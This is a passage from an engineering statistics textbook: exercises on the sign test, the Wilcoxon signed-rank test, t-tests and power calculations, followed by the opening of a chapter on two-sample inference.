Because the underlying population is continuous, ties are theoretically impossible, although they will sometimes occur in practice. If several observations have the same absolute magnitude, they are assigned the average of the ranks that they would receive if they differed slightly from one another.

Large Sample Approximation

If the sample size is moderately large, say, $n > 20$, it can be shown that W^+ (or W^-) has approximately a normal distribution with mean

$$\mu w^+ = \frac{n(n+1)}{4}$$

and variance

$$\sigma^2_{w^+} = \frac{n(n+1)(2n+1)}{24}$$

Therefore, a test of H_0: $\mu = \mu_0$ can be based on the statistic:

Normal Approximation for Wilcoxon Signed-Rank Statistic

$$Z_0 = \frac{W^+ - n(n+1)/4}{\sqrt{n(n+1)(2n+1)/24}} \qquad (9\text{-}56)$$

An appropriate critical region for either the two-sided or one-sided alternative hypotheses can be chosen from a table of the standard normal distribution.

9-9.3 Comparison to the *t*-Test

If the underlying population is normal, either the sign test or the *t*-test could be used to test a hypothesis about the population median. The *t*-test is known to have the smallest value of β possible among all tests that have significance level α for the one-sided alternative and for tests with symmetric critical regions for the two-sided alternative, so it is superior to the sign test in the normal distribution case. When the population distribution is symmetric and nonnormal (but with finite mean), the *t*-test will have a smaller β (or a higher power) than the sign test, unless the distribution has very heavy tails compared with the normal. Thus, the sign test is usually considered a test procedure for the median rather than as a serious competitor for the *t*-test. The Wilcoxon signed-rank test is preferable to the sign test and compares well with the *t*-test for symmetric distributions. It can be useful in situations where a transformation on the observations does not produce a distribution that is reasonably close to the normal.

EXERCISES FOR SECTION 9-9

9-110. Ten samples were taken from a plating bath used in an electronics manufacturing process, and the bath pH was determined. The sample pH values are 7.91, 7.85, 6.82, 8.01, 7.46, 6.95, 7.05, 7.35, 7.25, and 7.42. Manufacturing engineering believes that pH has a median value of 7.0.

(a) Do the sample data indicate that this statement is correct? Use the sign test with $\alpha = 0.05$ to investigate this hypothesis. Find the *P*-value for this test.

(b) Use the normal approximation for the sign test to test H_0: $\tilde{\mu} = 7.0$ versus H_1: $\tilde{\mu} \neq 7.0$. What is the *P*-value for this test?

9-111. The titanium content in an aircraft-grade alloy is an important determinant of strength. A sample of 20 test coupons reveals the following titanium content (in percent):

8.32, 8.05, 8.93, 8.65, 8.25, 8.46, 8.52, 8.35, 8.36, 8.41, 8.42, 8.30, 8.71, 8.75, 8.60, 8.83, 8.50, 8.38, 8.29, 8.46

The median titanium content should be 8.5%.

(a) Use the sign test with $\alpha = 0.05$ to investigate this hypothesis. Find the P-value for this test.
(b) Use the normal approximation for the sign test to test H_0: $\tilde{\mu} = 8.5$ versus H_1: $\tilde{\mu} \neq 8.5$, with $\alpha = 0.05$. What is the P-value for this test?

9-112. The impurity level (in ppm) is routinely measured in an intermediate chemical product. The following data were observed in a recent test:

2.4, 2.5, 1.7, 1.6, 1.9, 2.6, 1.3, 1.9, 2.0, 2.5, 2.6, 2.3, 2.0, 1.8, 1.3, 1.7, 2.0, 1.9, 2.3, 1.9, 2.4, 1.6

Can you claim that the median impurity level is less than 2.5 ppm?

(a) State and test the appropriate hypothesis using the sign test with $\alpha = 0.05$. What is the P-value for this test?
(b) Use the normal approximation for the sign test to test H_0: $\tilde{\mu} = 2.5$ versus H_1: $\tilde{\mu} < 2.5$. What is the P-value for this test?

9-113. Consider the margarine fat content data in Exercise 8-36. Use the sign test to test H_0:$\tilde{\mu} = 17.0$ versus H_1: $\tilde{\mu} \neq 17.0$ with $\alpha = 0.05$.

(a) Find the P-value for the test statistic and use this quantity to make your decision.
(b) Use the normal approximation to test the same hypothesis that you formulated in part (a). What is the P-value for this test?

9-114. Consider the compressive strength data in Exercise 8-37.

(a) Use the sign test to investigate the claim that the median strength is at least 2250 psi. Use $\alpha = 0.05$.
(b) Use the normal approximation to test the same hypothesis that you formulated in part (a). What is the P-value for this test?

9-115. The diameter of a ball bearing was measured by an inspector using a new type of caliper. The results were as follows (in mm): 0.265, 0.263, 0.266, 0.267, 0.267, 0.265, 0.267, 0.267, 0.265, 0.268, 0.268, and 0.263.

(a) Use the Wilcoxon signed-rank test to evaluate the claim that the mean ball diameter is 0.265 mm. Use $\alpha = 0.05$.
(b) Use the normal approximation for the test. With $\alpha = 0.05$, what conclusions can you draw?

9-116. A new type of tip can be used in a Rockwell hardness tester. Eight coupons from test ingots of a nickel-based alloy are selected, and each coupon is tested using the new tip. The Rockwell C-scale hardness readings are 63, 65, 58, 60, 55, 57, 53, and 59. Do the results support the claim that the mean hardness exceeds 60 at a 0.05 level?

9-117. A primer paint can be used on aluminum panels. The drying time of the primer is an important consideration in the manufacturing process. Twenty panels are selected and the drying times are as follows: 1.6, 1.3, 1.5, 1.6, 1.7, 1.9, 1.8, 1.6, 1.4, 1.8, 1.9, 1.8, 1.7, 1.5, 1.6, 1.4, 1.3, 1.6, 1.5, and 1.8. Is there evidence that the mean drying time of the primer exceeds 1.5 hr?

Supplemental Exercises

9-118. Consider the computer output below.

One-Sample Z:

Test of mu = 26 vs > 26
The assumed standard deviation = 1.5

Variable	N	Mean	StDev	SE Mean	Z	P
X	?	26.541	2.032	0.401	?	?

(a) Fill in the missing information.
(b) Is this a one-sided or a two-sided test?
(c) What are your conclusions if $\alpha = 0.05$?
(d) Find a 95% two-sided CI on the mean.

9-119. Consider the computer output below.

One-Sample T:

Test of mu = 100 vs not = 100

Variable	N	Mean	StDev	SE Mean	95% CI	T	P
X	16	98.33	4.61	?	(?, ?)	?	?

(a) How many degrees of freedom are there on the t-statistic?
(b) Fill in the missing information. You may use bounds on the P-value.
(c) What are your conclusions if $\alpha = 0.05$?
(d) What are your conclusions if the hypothesis is H_0: $\mu = 100$ versus H_0: $\mu > 100$?

9-120. Consider the computer output below.

One-Sample T:

Test of mu = 85 vs < 85

Variable	N	Mean	StDev	SE Mean	T	P
X	25	84.331	?	0.631	?	?

(a) How many degrees of freedom are there on the t-statistic?
(b) Fill in the missing information. You may use bounds on the P-value.
(c) What are your conclusions if $\alpha = 0.05$?
(d) Find a 95% upper-confidence bound on the mean.
(e) What are your conclusions if the hypothesis is H_0: $\mu = 100$ versus H_0: $\mu > 100$?

9-121. An article in *Transfusion Science* ["Early Total White Blood Cell Recovery Is a Predictor of Low Number of

Apheresis and Good CD34+ Cell Yield" (Vol. 23, 2000, pp. 91–100)] studied the white blood cell recovery of patients with haematological malignancies after a new chemotherapy treatment. Data (in days) on white blood cell recovery (WBC) for 19 patients consistent with summary data reported in the paper follow: 18, 16, 13, 16, 15, 12, 9, 14, 12, 8, 16, 12, 10, 8, 14, 9, 5, 18, and 12.

(a) Is there sufficient evidence to support a claim that the mean WBC recovery exceeds 12 days?
(b) Find a 95% two-sided CI on the mean WBC recovery.

9-122. An article in *Fire Technology* ["An Experimental Examination of Dead Air Space for Smoke Alarms" (Vol. 45, 2009, pp. 97–115)] studied the performance of smoke detectors installed not less than 100 mm from any adjoining wall if mounted on a flat ceiling, and not closer than 100 mm and not farther than 300 mm from the adjoining ceiling surface if mounted on walls. The purpose of this rule is to avoid installation of smoke alarms in the "dead air space," where it is assumed to be difficult for smoke to reach. A number of interesting experiments were described in the paper. Results on the time to signal (in seconds) for one such experiment with pine stick fuel in an open bedroom using photoelectric smoke alarms are as follows: 220, 225, 297, 315, 282, and 313.

(a) Is there sufficient evidence to support a claim that the mean time to signal is less than 300 seconds?
(b) Is there practical concern about the assumption of a normal distribution as a model for the time-to-signal data?
(c) Find a 95% two-sided CI on the mean time to signal.

9-123. Suppose we wish to test the hypothesis H_0: $\mu = 85$ versus the alternative H_1: $\mu > 85$ where $\sigma = 16$. Suppose that the true mean is $\mu = 86$ and that in the practical context of the problem this is not a departure from $\mu_0 = 85$ that has practical significance.

(a) For a test with $\alpha = 0.01$, compute β for the sample sizes $n = 25$, 100, 400, and 2500 assuming that $\mu = 86$.
(b) Suppose the sample average is $\bar{x} = 86$. Find the P-value for the test statistic for the different sample sizes specified in part (a). Would the data be statistically significant at $\alpha = 0.01$?
(c) Comment on the use of a large sample size in this problem.

9-124. A manufacturer of semiconductor devices takes a random sample of size n of chips and tests them, classifying each chip as defective or nondefective. Let $X_i = 0$ if the chip is nondefective and $X_i = 1$ if the chip is defective. The sample fraction defective is

$$\hat{p} = \frac{X_1 + X_2 + \cdots + X_n}{n}$$

What are the sampling distribution, the sample mean, and sample variance estimates of $\hat{p}$ when

(a) The sample size is $n = 50$?
(b) The sample size is $n = 80$?
(c) The sample size is $n = 100$?
(d) Compare your answers to parts (a)–(c) and comment on the effect of sample size on the variance of the sampling distribution.

9-125. Consider the situation of Exercise 9-124. After collecting a sample, we are interested in testing H_0: $p = 0.10$ versus H_1: $p \neq 0.10$ with $\alpha = 0.05$. For each of the following situations, compute the p-value for this test:

(a) $n = 50$, $\hat{p} = 0.095$
(b) $n = 100$, $\hat{p} = 0.095$
(c) $n = 500$, $\hat{p} = 0.095$
(d) $n = 1000$, $\hat{p} = 0.095$
(e) Comment on the effect of sample size on the observed P-value of the test.

9-126. An inspector of flow metering devices used to administer fluid intravenously will perform a hypothesis test to determine whether the mean flow rate is different from the flow rate setting of 200 milliliters per hour. Based on prior information, the standard deviation of the flow rate is assumed to be known and equal to 12 milliliters per hour. For each of the following sample sizes, and a fixed $\alpha = 0.05$, find the probability of a type II error if the true mean is 205 milliliters per hour.

(a) $n = 20$
(b) $n = 50$
(c) $n = 100$
(d) Does the probability of a type II error increase or decrease as the sample size increases? Explain your answer.

9-127. Suppose that in Exercise 9-126, the experimenter had believed that $\sigma = 14$. For each of the following sample sizes, and a fixed $\alpha = 0.05$, find the probability of a type II error if the true mean is 205 milliliters per hour.

(a) $n = 20$
(b) $n = 50$
(c) $n = 100$
(d) Comparing your answers to those in Exercise 9-126, does the probability of a type II error increase or decrease with the increase in standard deviation? Explain your answer.

9-128. The marketers of shampoo products know that customers like their product to have a lot of foam. A manufacturer of shampoo claims that the foam height of his product exceeds 200 millimeters. It is known from prior experience that the standard deviation of foam height is 8 millimeters. For each of the following sample sizes, and a fixed $\alpha = 0.05$, find the power of the test if the true mean is 204 millimeters.

(a) $n = 20$
(b) $n = 50$
(c) $n = 100$
(d) Does the power of the test increase or decrease as the sample size increases? Explain your answer.

9-129. Suppose we are testing H_0: $p = 0.5$ versus H_0: $p \neq 0.5$. Suppose that p is the true value of the population proportion.

(a) Using $\alpha = 0.05$, find the power of the test for $n = 100$, 150, and 300 assuming that $p = 0.6$. Comment on the effect of sample size on the power of the test.

(b) Using $\alpha = 0.01$, find the power of the test for $n = 100$, 150, and 300 assuming that $p = 0.6$. Compare your answers to those from part (a) and comment on the effect of α on the power of the test for different sample sizes.
(c) Using $\alpha = 0.05$, find the power of the test for $n = 100$, assuming $p = 0.08$. Compare your answer to part (a) and comment on the effect of the true value of p on the power of the test for the same sample size and α level.
(d) Using $\alpha = 0.01$, what sample size is required if $p = 0.6$ and we want $\beta = 0.05$? What sample is required if $p = 0.8$ and we want $\beta = 0.05$? Compare the two sample sizes and comment on the effect of the true value of p on sample size required when β is held approximately constant.

9-130. The cooling system in a nuclear submarine consists of an assembly of welded pipes through which a coolant is circulated. Specifications require that weld strength must meet or exceed 150 psi.
(a) Suppose that the design engineers decide to test the hypothesis H_0: $\mu = 150$ versus H_1: $\mu > 150$. Explain why this choice of alternative hypothesis is better than H_1: $\mu < 150$.
(b) A random sample of 20 welds results in $\bar{x} = 153.7$ psi and $s = 11.3$ psi. What conclusions can you draw about the hypothesis in part (a)? State any necessary assumptions about the underlying distribution of the data.

9-131. The mean pull-off force of an adhesive used in manufacturing a connector for an automotive engine application should be at least 75 pounds. This adhesive will be used unless there is strong evidence that the pull-off force does not meet this requirement. A test of an appropriate hypothesis is to be conducted with sample size $n = 10$ and $\alpha = 0.05$. Assume that the pull-off force is normally distributed, and σ is not known.
(a) If the true standard deviation is $\sigma = 1$, what is the risk that the adhesive will be judged acceptable when the true mean pull-off force is only 73 pounds? Only 72 pounds?
(b) What sample size is required to give a 90% chance of detecting that the true mean is only 72 pounds when $\sigma = 1$?
(c) Rework parts (a) and (b) assuming that $\sigma = 2$. How much impact does increasing the value of σ have on the answers you obtain?

9-132. A manufacturer of precision measuring instruments claims that the standard deviation in the use of the instruments is at most 0.00002 millimeter. An analyst, who is unaware of the claim, uses the instrument eight times and obtains a sample standard deviation of 0.00001 millimeter.
(a) Confirm using a test procedure and an α level of 0.01 that there is insufficient evidence to support the claim that the standard deviation of the instruments is at most 0.00002. State any necessary assumptions about the underlying distribution of the data.
(b) Explain why the sample standard deviation, $s = 0.00001$, is less than 0.00002, yet the statistical test procedure results do not support the claim.

9-133. A biotechnology company produces a therapeutic drug whose concentration has a standard deviation of 4 grams per liter. A new method of producing this drug has been proposed, although some additional cost is involved. Management will authorize a change in production technique only if the standard deviation of the concentration in the new process is less than 4 grams per liter. The researchers chose $n = 10$ and obtained the following data in grams per liter. Perform the necessary analysis to determine whether a change in production technique should be implemented.

16.628	16.630
16.622	16.631
16.627	16.624
16.623	16.622
16.618	16.626

9-134. Consider the 40 observations collected on the number of nonconforming coil springs in production batches of size 50 given in Exercise 6-93.
(a) Based on the description of the random variable and these 40 observations, is a binomial distribution an appropriate model? Perform a goodness of fit procedure with $\alpha = 0.05$.
(b) Calculate the P-value for this test.

9-135. Consider the 20 observations collected on the number of errors in a string of 1000 bits of a communication channel given in Exercise 6-94.
(a) Based on the description of the random variable and these 20 observations, is a binomial distribution an appropriate model? Perform a goodness of fit procedure with $\alpha = 0.05$.
(b) Calculate the P-value for this test.

9-136. Consider the spot weld shear strength data in Exercise 6-31. Does the normal distribution seem to be a reasonable model for these data? Perform an appropriate goodness of fit test to answer this question.

9-137. Consider the water quality data in Exercise 6-32.
(a) Do these data support the claim that mean concentration of suspended solids does not exceed 50 parts per million? Use $\alpha = 0.05$.
(b) What is the P-value for the test in part (a)?
(c) Does the normal distribution seem to be a reasonable model for these data? Perform an appropriate goodness of fit test to answer this question.

9-138. Consider the golf ball overall distance data in Exercise 6-33.
(a) Do these data support the claim that the mean overall distance for this brand of ball does not exceed 270 yards? Use $\alpha = 0.05$.
(b) What is the P-value for the test in part (a)?
(c) Do these data appear to be well modeled by a normal distribution? Use a formal goodness of fit test in answering this question.

9-139. Consider the baseball coefficient of restitution data in Exercise 8-92. If the mean coefficient of restitution exceeds 0.635, the population of balls from which the sample has been taken will be too "lively" and considered unacceptable for play.

(a) Formulate an appropriate hypothesis testing procedure to answer this question.
(b) Test these hypotheses and draw conclusions, using $\alpha = 0.01$.
(c) Find the P-value for this test.
(d) In Exercise 8-92(b), you found a 99% confidence interval on the mean coefficient of restitution. Does this interval, or a one-sided CI, provide additional useful information to the decision maker? Explain why or why not.

9-140. Consider the dissolved oxygen data in Exercise 8-94. Water quality engineers are interested in knowing whether these data support a claim that mean dissolved oxygen concentration is 2.5 milligrams per liter.

(a) Formulate an appropriate hypothesis testing procedure to investigate this claim.
(b) Test these hypotheses and draw conclusions, using $\alpha = 0.05$.
(c) Find the P-value for this test.
(d) In Exercise 8-94(b) you found a 95% CI on the mean dissolved oxygen concentration. Does this interval provide useful additional information beyond that of the hypothesis testing results? Explain your answer.

9-141. An article in *Food Testing and Analysis* ["Improving Reproducibility of Refractometry Measurements of Fruit Juices" (1999, Vol. 4, No. 4, pp. 13–17)] measured the sugar concentration (Brix) in clear apple juice. All readings were taken at 20°C:

11.48	11.45	11.48	11.47	11.48
11.50	11.42	11.49	11.45	11.44
11.45	11.47	11.46	11.47	11.43
11.50	11.49	11.45	11.46	11.47

(a) Test the hypothesis H_0: $\mu = 11.5$ versus H_1: $\mu \neq 11.5$ using $\alpha = 0.05$. Find the P-value.
(b) Compute the power of the test if the true mean is 11.4.
(c) What sample size would be required to detect a true mean sugar concentration of 11.45 if we wanted the power of the test to be at least 0.9?
(d) Explain how the question in part (a) could be answered by constructing a two-sided confidence interval on the mean sugar concentration.
(e) Is there evidence to support the assumption that the sugar concentration is normally distributed?

9-142. Consider the computer output below

Test and CI for One Proportion

Test of p = 0.25 vs p < 0.25

X	N	Sample p	Bound	Z-Value	*P*-Value
53	225	0.235556	0.282088	?	?

Using the normal approximation.

(a) Fill in the missing information.
(b) What are your conclusions if $\alpha = 0.05$?
(c) The normal approximation to the binomial was used here. Was that appropriate?
(d) Find a 95% upper-confidence bound on the true proportion.
(e) What are the P-value and your conclusions if the alternative hypothesis is H_1: $p \neq 0.25$?

9-143. An article in *Food Chemistry* ["A Study of Factors Affecting Extraction of Peanut (*Arachis Hypgaea* L.) Solids with Water" (1991, Vol. 42, No. 2, pp. 153–165)] found the percent protein extracted from peanut milk as follows:

78.3	77.1	71.3	84.5	87.8	75.7	64.8	72.5
78.2	91.2	86.2	80.9	82.1	89.3	89.4	81.6

(a) Can you support a claim that mean percent protein extracted exceeds 80 percent? Use $\alpha = 0.05$.
(b) Is there evidence that percent protein extracted is normally distributed?
(c) What is the P-value of the test statistic computed in part (a)?

9-144. An article in *Biological Trace Element Research* ["Interaction of Dietary Calcium, Manganese, and Manganese Source (Mn Oxide or Mn Methionine Complex) or Chick Performance and Manganese Utilization" (1991, Vol. 29, No. 3, pp. 217–228)] showed the following results of tissue assay for liver manganese (ppm) in chicks fed high-Ca diets.

6.02	6.08	7.11	5.73	5.32	7.10
5.29	5.84	6.03	5.99	4.53	6.81

(a) Test the hypothesis H_0: $\sigma^2 = 0.6$ versus H_1: $\sigma^2 \neq 0.6$ using $\alpha = 0.01$.
(b) What is the P-value for this test?
(c) Discuss how part (a) could be answered by constructing a 99% two-sided confidence interval for σ.

9-145. An article in *Experimental Brain Research* ["Synapses in the Granule Cell Layer of the Rat Dentate Gyrus: Serial-Sectionin Study" (1996, Vol. 112, No. 2, pp. 237–243)] showed the ratio between the numbers of symmetrical and total synapses on somata and azon initial segments of reconstructed granule cells in the dentate gyrus of a 12-week-old rat:

0.65	0.90	0.78	0.94	0.40	0.94
0.91	0.86	0.53	0.84	0.42	0.50
0.50	0.68	1.00	0.57	1.00	1.00
0.84	0.9	0.91	0.92	0.96	
0.96	0.56	0.67	0.96	0.52	
0.89	0.60	0.54			

(a) Use the data to test H_0: $\sigma^2 = 0.02$ versus H_1: $\sigma^2 \neq 0.02$ using $\alpha = 0.05$.
(b) Find the P-value for the test.

9-146. An article in the *Journal of Electronic Material* [“Progress in CdZnTe Substrate Producibility and Critical Drive of IRFPA Yield Originating with CdZnTe Substrates” (1998, Vol. 27, No. 6, pp. 564–572)] improved the quality of CdZnTe substrates used to produce the HgCdTe infrared focal plane arrays (IRFPAs), also defined as sensor chip assemblies (SCAs). The cut-on wavelength (μm) on 11 wafers was measured and is shown below:

6.06 6.16 6.57 6.67 6.98 6.17 6.17 6.93 6.73 6.87 6.76

(a) Is there evidence that the mean of cut-on wave length is not 6.50 μm?
(b) What is the P-value for this test?
(c) What sample size would be required to detect a true mean cut-on wavelength of 6.25 μm with probability 95%?
(d) What is the type II error probability if the true mean cut-on wavelength is 6.95 μm?

9-147. Consider the fatty acid measurements for the diet margarine described in Exercise 8-36.
(a) For the sample size $n = 6$, using a two-sided alternative hypothesis and $\alpha = 0.01$, test H_0: $\sigma^2 = 1.0$.
(b) Suppose that instead of $n = 6$, the sample size was $n = 51$. Repeat the analysis performed in part (a) using $n = 51$.
(c) Compare your answers and comment on how sample size affects your conclusions drawn in parts (a) and (b).

9-148. Consider the television picture tube brightness experiment described in Exercise 8-35.
(a) For the sample size $n = 10$, do the data support the claim that the standard deviation of current is less than 20 microamps?
(b) Suppose that instead of $n = 10$, the sample size was 51. Repeat the analysis performed in part (a) using $n = 51$.
(c) Compare your answers and comment on how sample size affects your conclusions drawn in parts (a) and (b).

MIND-EXPANDING EXERCISES

9-149. Suppose that we wish to test H_0: $\mu = \mu_0$ versus H_1: $\mu \neq \mu_0$, where the population is normal with known σ. Let $0 < \epsilon < \alpha$, and define the critical region so that we will reject H_0 if $z_0 > z_\epsilon$ or if $z_0 < -z_{\alpha-\epsilon}$, where z_0 is the value of the usual test statistic for these hypotheses.
(a) Show that the probability of type I error for this test is α.
(b) Suppose that the true mean is $\mu_1 = \mu_0 + \delta$. Derive an expression for β for the above test.

9-150. Derive an expression for β for the test on the variance of a normal distribution. Assume that the two-sided alternative is specified.

9-151. When $X_1, X_2, \ldots, X_n$ are independent Poisson random variables, each with parameter λ, and n is large, the sample mean $\overline{X}$ has an approximate normal distribution with mean λ and variance λ/n. Therefore,

$$Z = \frac{\overline{X} - \lambda}{\sqrt{\lambda/n}}$$

has approximately a standard normal distribution. Thus we can test H_0: $\lambda = \lambda_0$ by replacing λ in Z by λ_0. When X_i are Poisson variables, this test is preferable to the large-sample test of Section 9-2.3, which would use $S/\sqrt{n}$ in the denominator, because it is designed just for the Poisson distribution. Suppose that the number of open circuits on a semiconductor wafer has a Poisson distribution. Test data for 500 wafers indicate a total of 1038 opens. Using $\alpha = 0.05$, does this suggest that the mean number of open circuits per wafer exceeds 2.0?

9-152. When $X_1, X_2, \ldots, X_n$ is a random sample from a normal distribution and n is large, the sample standard deviation has approximately a normal distribution with mean σ and variance $\sigma^2/(2n)$. Therefore, a large-sample test for H_0: $\sigma = \sigma_0$ can be based on the statistic

$$Z = \frac{S - \sigma_0}{\sqrt{\sigma_0^2/(2n)}}$$

(a) Use this result to test H_0: $\sigma = 10$ versus H_1: $\sigma < 10$ for the golf ball overall distance data in Exercise 6-33.
(b) Find an approximately unbiased estimator of the 95 percentile $\theta = \mu + 1.645\sigma$. From the fact that $\overline{X}$ and S are independent random variables, find the standard error of the estimator of θ. How would you estimate the standard error?
(c) Consider the golf ball overall distance data in Exercise 6-33. We wish to investigate a claim that

MIND-EXPANDING EXERCISES

the 95 percentile of overall distance does not exceed 285 yards. Construct a test statistic that can be used for testing the appropriate hypotheses. Apply this procedure to the data from Exercise 6-33. What are your conclusions?

9-153. Let $X_1, X_2, \ldots, X_n$ be a sample from an exponential distribution with parameter λ. It can be shown that $2\lambda \sum_{i=1}^{n} X_i$ has a chi-square distribution with $2n$ degrees of freedom. Use this fact to devise a test statistic and critical region for H_0: $\lambda = \lambda_0$ versus the three usual alternatives.

IMPORTANT TERMS AND CONCEPTS

α and β
Connection between hypothesis tests and confidence intervals
Critical region for a test statistic
Goodness of fit test
Homogeneity test
Hypothesis test
Inference
Independence test
Nonparametric or distribution free methods
Normal approximation to nonparametric tests
Null distribution
Null hypothesis
One- and two-sided alternative hypotheses
Operating characteristic (OC) curves
Power of a test
***P*-value**
Ranks
Reference distribution for a test statistic
Sample size determination for hypothesis tests
Significance level of a test
Sign test
Statistical hypotheses
Statistical versus practical significance
Test statistic
Type I and type II errors
Wilcoxon signed-rank test

10

© Robert Dant/iStockphoto

Statistical Inference for Two Samples

The safety of drinking water is a serious public health issue. An article appeared in the *Arizona Republic* on May 27, 2001, that reported on arsenic contamination in the water sampled from 10 communities in the metropolitan Phoenix area and 10 communities from rural Arizona. The data showed dramatic differences in the arsenic concentration, ranging from 3 parts per billion (ppb) to 48 ppb. There are some important questions suggested by this article. Is there a real difference between the arsenic concentrations in the Phoenix area and in the rural communities in Arizona? How large is this difference? Is it large enough to require action on the part of the public health service and other state agencies to correct the problem? Are the levels of reported arsenic concentration large enough to constitute a public health risk?

Some of these questions can be answered by statistical methods. If we think of the metropolitan Phoenix communities as one population and the rural Arizona communities as a second population, we could determine whether there is a statistically significant difference in the mean arsenic concentration between the two populations by testing the hypothesis that the two means, say, μ_1 and μ_2, are different. This is a relatively simple extension to two samples of the one-sample hypothesis testing procedures of Chapter 9. We could also use a confidence interval to estimate the difference in the two means, say, $\mu_1 - \mu_2$.

The arsenic concentration problem is very typical of many problems in engineering and science that involve statistics. Some of the questions can be answered by the application of appropriate statistical tools, while other questions require using engineering or scientific knowledge and expertise to answer satisfactorily.

CHAPTER OUTLINE

10-1 INFERENCE ON THE DIFFERENCE IN MEANS OF TWO NORMAL DISTRIBUTIONS, VARIANCES KNOWN

10-1.1 Hypothesis Tests on the Difference in Means, Variances Known

10-1.2 Type II Error and Choice of Sample Size

10-1.3 Confidence Interval on the Difference in Means, Variances Known

10-2 INFERENCE ON THE DIFFERENCE IN MEANS OF TWO NORMAL DISTRIBUTIONS, VARIANCES UNKNOWN
10-2.1 Hypothesis Tests on the Difference in Means, Variances Unknown
10-2.2 Type II Error and Choice of Sample Size
10-2.3 Confidence Interval on the Difference in Means, Variances Unknown
10-3 A NONPARAMETRIC TEST ON THE DIFFERENCE IN TWO MEANS
10-3.1 Description of the Wilcoxon Rank-Sum Test
10-3.2 Large-Sample Approximation
10-3.3 Comparison to the *t*-Test
10-4 PAIRED *t*-TEST
10-5 INFERENCE ON THE VARIANCES OF TWO NORMAL DISTRIBUTIONS
10-5.1 *F* Distribution
10-5.2 Hypothesis Tests on the Ratio of Two Variances
10-5.3 Type II Error and Choice of Sample Size
10-5.4 Confidence Interval on the Ratio of Two Variances
10-6 INFERENCE ON TWO POPULATION PROPORTIONS
10-6.1 Large-Sample Tests on the Difference in Population Proportions
10-6.2 Type II Error and Choice of Sample Size
10-6.3 Confidence Interval on the Difference in Population Proportions
10-7 SUMMARY TABLE AND ROADMAP FOR INFERENCE PROCEDURES FOR TWO SAMPLES

LEARNING OBJECTIVES

After careful study of this chapter you should be able to do the following:

1. **Structure comparative experiments involving two samples as hypothesis tests**
2. **Test hypotheses and construct confidence intervals on the difference in means of two normal distributions**
3. **Test hypotheses and construct confidence intervals on the ratio of the variances or standard deviations of two normal distributions**
4. **Test hypotheses and construct confidence intervals on the difference in two population proportions**
5. **Use the *P*-value approach for making decisions in hypotheses tests**
6. **Compute power, type II error probability, and make sample size decisions for two-sample tests on means, variances, and proportions**
7. **Explain and use the relationship between confidence intervals and hypothesis tests**

10-1 INFERENCE ON THE DIFFERENCE IN MEANS OF TWO NORMAL DISTRIBUTIONS, VARIANCES KNOWN

The previous two chapters presented hypothesis tests and confidence intervals for a single population parameter (the mean μ, the variance σ^2, or a proportion p). This chapter extends those results to the case of two independent populations.

The general situation is shown in Fig. 10-1. Population 1 has mean μ_1 and variance σ_1^2, while population 2 has mean μ_2 and variance σ_2^2. Inferences will be based on two random samples of sizes n_1 and n_2, respectively. That is, $X_{11}, X_{12}, p, X_{1n_1}$ is a random sample of n_1 observations from population 1, and $X_{21}, X_{22}, p, X_{2n_2}$ is a random sample of n_2 observations from population 2. Most of the practical applications of the procedures in this chapter

Figure 10-1 Two independent populations.

arise in the context of **simple comparative experiments** in which the objective is to study the difference in the parameters of the two populations.

Engineers and scientists are often interested in comparing two different conditions to determine whether either condition produces a significant effect on the response that is observed. These conditions are sometimes called **treatments.** Example 10-1 illustrates such an experiment; the two different treatments are two paint formulations, and the response is the drying time. The purpose of the study is to determine whether the new formulation results in a significant effect—reducing drying time. In this situation, the product developer (the experimenter) randomly assigned 10 test specimens to one formulation and 10 test specimens to the other formulation. Then the paints were applied to the test specimens in random order until all 20 specimens were painted. This is an example of a **completely randomized experiment.**

When statistical significance is observed in a randomized experiment, the experimenter can be confident in the conclusion that it was the difference in treatments that resulted in the difference in response. That is, we can be confident that a **cause-and-effect** relationship has been found.

Sometimes the objects to be used in the comparison are not assigned at random to the treatments. For example, the September 1992 issue of *Circulation* (a medical journal published by the American Heart Association) reports a study linking high iron levels in the body with increased risk of heart attack. The study, done in Finland, tracked 1931 men for five years and showed a statistically significant effect of increasing iron levels on the incidence of heart attacks. In this study, the comparison was not performed by randomly selecting a sample of men and then assigning some to a "low iron level" treatment and the others to a "high iron level" treatment. The researchers just tracked the subjects over time. Recall from Chapter 1 that this type of study is called an **observational study.**

It is difficult to identify causality in observational studies, because the observed statistically significant difference in response between the two groups may be due to some other underlying factor (or group of factors) that was not equalized by randomization and not due to the treatments. For example, the difference in heart attack risk could be attributable to the difference in iron levels, or to other underlying factors that form a reasonable explanation for the observed results—such as cholesterol levels or hypertension.

In this section we consider statistical inferences on the difference in means $\mu_1 - \mu_2$ of two normal distributions, where the variances σ_1^2 and σ_2^2 are known. The assumptions for this section are summarized as follows.

Assumptions for Two-Sample Inference

1. $X_{11}, X_{12}, \ldots, X_{1n_1}$ is a random sample from population 1.
2. $X_{21}, X_{22}, \ldots, X_{2n_2}$ is a random sample from population 2.
3. The two populations represented by X_1 and X_2 are independent.
4. Both populations are normal.

A logical point estimator of $\mu_1 - \mu_2$ is the difference in sample means $\overline{X}_1 - \overline{X}_2$. Based on the properties of expected values,

$$E(\overline{X}_1 - \overline{X}_2) = E(\overline{X}_1) - E(\overline{X}_2) = \mu_1 - \mu_2$$

and the variance of $\overline{X}_1 - \overline{X}_2$ is

$$V(\overline{X}_1 - \overline{X}_2) = V(\overline{X}_1) + V(\overline{X}_2) = \frac{\sigma_1^2}{n_1} + \frac{\sigma_2^2}{n_2}$$

Based on the assumptions and the preceding results, we may state the following.

The quantity

$$Z = \frac{\overline{X}_1 - \overline{X}_2 - (\mu_1 - \mu_2)}{\sqrt{\dfrac{\sigma_1^2}{n_1} + \dfrac{\sigma_2^2}{n_2}}} \tag{10-1}$$

has a $N(0, 1)$ distribution.

This result will be used to form tests of hypotheses and confidence intervals on $\mu_1 - \mu_2$. Essentially, we may think of $\mu_1 - \mu_2$ as a parameter θ, and its estimator is $\hat{\Theta} = \overline{X}_1 - \overline{X}_2$ with variance $\sigma_{\hat{\Theta}}^2 = \sigma_1^2/n_1 + \sigma_2^2/n_2$. If θ_0 is the null hypothesis value specified for θ, the test statistic will be $(\hat{\Theta} - \theta_0)/\sigma_{\hat{\Theta}}$. Notice how similar this is to the test statistic for a single mean used in Equation 9-8 of Chapter 9.

10-1.1 Hypothesis Tests on the Difference in Means, Variances Known

